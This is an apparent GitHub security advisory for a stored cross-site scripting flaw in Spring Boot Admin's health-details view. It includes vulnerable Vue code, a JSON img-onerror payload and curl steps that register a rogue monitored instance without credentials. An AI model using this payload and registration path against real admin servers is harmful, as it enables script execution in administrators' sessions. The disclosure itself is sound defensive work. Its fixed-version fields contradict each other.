Skip to content

Stored Cross-Site Scripting (XSS) in Spring Boot Admin health-details view

Moderate
SteKoe published GHSA-4jg4-pqcq-xf3x Sep 25, 2026

Package

maven de.codecentric.spring-boot-admin-server-ui (Maven)

Affected versions

>= 3.5.7

Patched versions

4.1.3, 3.5.11

Description

Summary

Spring Boot Admin's server UI module (spring-boot-admin-server-ui) renders HTML content returned by monitored instances' info and health endpoints. While object-valued health details are sanitized before rendering, string-valued health details are inserted into the page via v-html without sanitization. An attacker who can register a monitored instance can store arbitrary markup in a health detail string, which executes as script in an administrator's browser session when the administrator opens the instance's health-details page.

Severity

Medium — CVSS 3.1: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

CWE

  • CWE-79: Improper Neutralization of Input During Web Page Generation (Stored XSS)

Affected Versions

Package Affected Range Fixed Version
de.codecentric:spring-boot-admin-server-ui >= 3.5.7, <= 4.1.2 Not yet released
  • 3.5.6 and earlier are not affected — the string-valued health detail path used v-text (no HTML rendering).
  • 3.5.7 (commit ca831dcff, PR #4842) is the first release that switched the string path from v-text to v-html without sanitization.
  • The issue is present in all releases up to and including 4.1.2.

Description

What happens

When a monitored instance returns a health detail whose value is a plain string, the server UI inserts that string into the page with Vue's v-html directive and no sanitization. A sibling component that renders object-valued health data does sanitize its output via sanitizeHtml. The result is that the string path and the object path behave differently, and only the string path is exploitable.

Vulnerable code

spring-boot-admin-server-ui/src/main/frontend/views/instances/details/health-details.vue:102:

<dd
  v-else
  role="definition"
  :aria-label="detail.name"
  class="wrap-break-word whitespace-pre-wrap col-span-4"
  v-html="autolink(String(detail.value ?? ''))"
/>

There is no sanitizer on this path. The value flows through autolink and straight into v-html.

Contrast: the sibling path that does sanitize

spring-boot-admin-server-ui/src/main/frontend/components/sba-formatted-obj.vue:39-43:

const formatted = computed(() => {
  const yaml = objToYaml(props.value);
  const sanitized = sanitizeHtml(yaml);
  return autolinkFn(sanitized);
});

This path calls sanitizeHtml before inserting the result. The health-details string path does not, even though it renders through the same autolink helper.

Why autolink does not cover the gap

spring-boot-admin-server-ui/src/main/frontend/utils/autolink.ts builds an Autolinker from a defaults object that does not set sanitizeHtml. Autolinker's own sanitizeHtml option therefore stays at its false default, and the helper just returns autolinker.link(s). The helper links URLs; it does not sanitize HTML.

export const defaults: AutolinkerConfig = {
  urls: { schemeMatches: true, tldMatches: false, ipV4Matches: false },
  email: false,
  phone: false,
  mention: false,
  hashtag: false,
  stripPrefix: false,
  stripTrailingSlash: false,
  newWindow: true,
  className: '',
};

Payload

A health document like the following is sufficient. The canary string carries the markup; the objectCanary object is included to show the contrast with the sanitized object path.

{
  "status": "UP",
  "details": {
    "canary": "<img src=\"/__nonexistent__.png\" onerror=\"document.documentElement.setAttribute('data-xss-executed','yes');window.__sba_xss=1\">",
    "objectCanary": {
      "nested": "<img src=\"/__nonexistent__.png\" onerror=\"document.documentElement.setAttribute('data-xss-executed','yes');window.__sba_xss=1\">",
      "note": "object-valued control"
    },
    "secret": "ROGUE-HEALTH-DETAIL"
  }
}

The onerror handler is used instead of inline <script> because the image request to a nonexistent path fails and fires the handler. It sets a window variable and a DOM attribute so execution is easy to observe.

Reproduction

All steps below were run and observed. Step 1 builds with JDK 17 and Maven 3.9.9 (the enforcer rejects older Maven).

1. Build the project

mvn -DskipTests package

Observed: BUILD SUCCESS. The sample artifact produced is
spring-boot-admin-samples/spring-boot-admin-sample-servlet/target/spring-boot-admin-sample-servlet.jar.

2. Run the sample server

java -jar spring-boot-admin-samples/spring-boot-admin-sample-servlet/target/spring-boot-admin-sample-servlet.jar \
  --spring.profiles.active=insecure \
  --server.port=8080

Observed: profile insecure active, Tomcat listening on port 8080. The insecure profile models the library default of shipping no security configuration; with it, no credentials are needed to call the registration endpoint.

3. Start an attacker-controlled HTTP listener

Start a listener on 127.0.0.1:9911 that serves the payload document above from its /actuator/health endpoint.

4. Register the attacker instance

curl -i -X POST http://localhost:8080/instances \
  -H 'Content-Type: application/json' \
  -d '{"name":"rogue-xss","healthUrl":"http://127.0.0.1:9911/actuator/health","managementUrl":"http://127.0.0.1:9911/actuator"}'

Observed: HTTP/1.1 201 with body {"id":"c873ca26ab3d"}. The server then polls the listener (GET /actuator/health).

5. Confirm the payload is stored

curl -s http://localhost:8080/instances

Observed: the markup appears in the instance's statusInfo.details as a string value.

6. Dependency-level control

Reproducing the project's own autolink.ts behavior with autolinker@4.1.5 returns the payload unchanged, and an escaped "<" check reports false. Applying sanitize-html (as the object path does) strips the tag entirely. This isolates the difference to the missing sanitization call on the string path.

7. Browser proof

The details page at http://localhost:8080/instances/c873ca26ab3d/details was driven in headless Chrome over the DevTools Protocol. Observed results:

Check Value
xssWindowVar 1
domMarker "yes"
stringPathImgCount 1 (real <img> inserted, onerror ran)
objectPathImgCount 0 (sanitizer stripped it)
objectPathText "rogue" (sanitized to text)

Impact

Any party that can send POST /instances to the admin server can store markup that runs as script in an administrator's browser session, in the admin origin. The attacker does not need an account when the admin server ships without a security configuration (the library default, modelled here by the sample's insecure profile). Once running, the script can drive the admin UI with the administrator's privileges, which is why the scope is Changed.

  • Victim: an administrator who opens the affected instance's health-details page.
  • Attacker: the party who registered the instance.
  • Scope: Changed — script executes in the admin origin with admin privileges.

Mitigation

The string-valued health detail path must sanitize its output before passing it to v-html, the same way the object-valued path already does:

- v-html="autolink(String(detail.value ?? ''))"
+ v-html="autolink(sanitizeHtml(String(detail.value ?? '')))"

with the corresponding import:

import { sanitizeHtml } from '@/utils/sanitizeHtml';

References

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

CVE ID

No known CVE

Weaknesses

No CWEs

Credits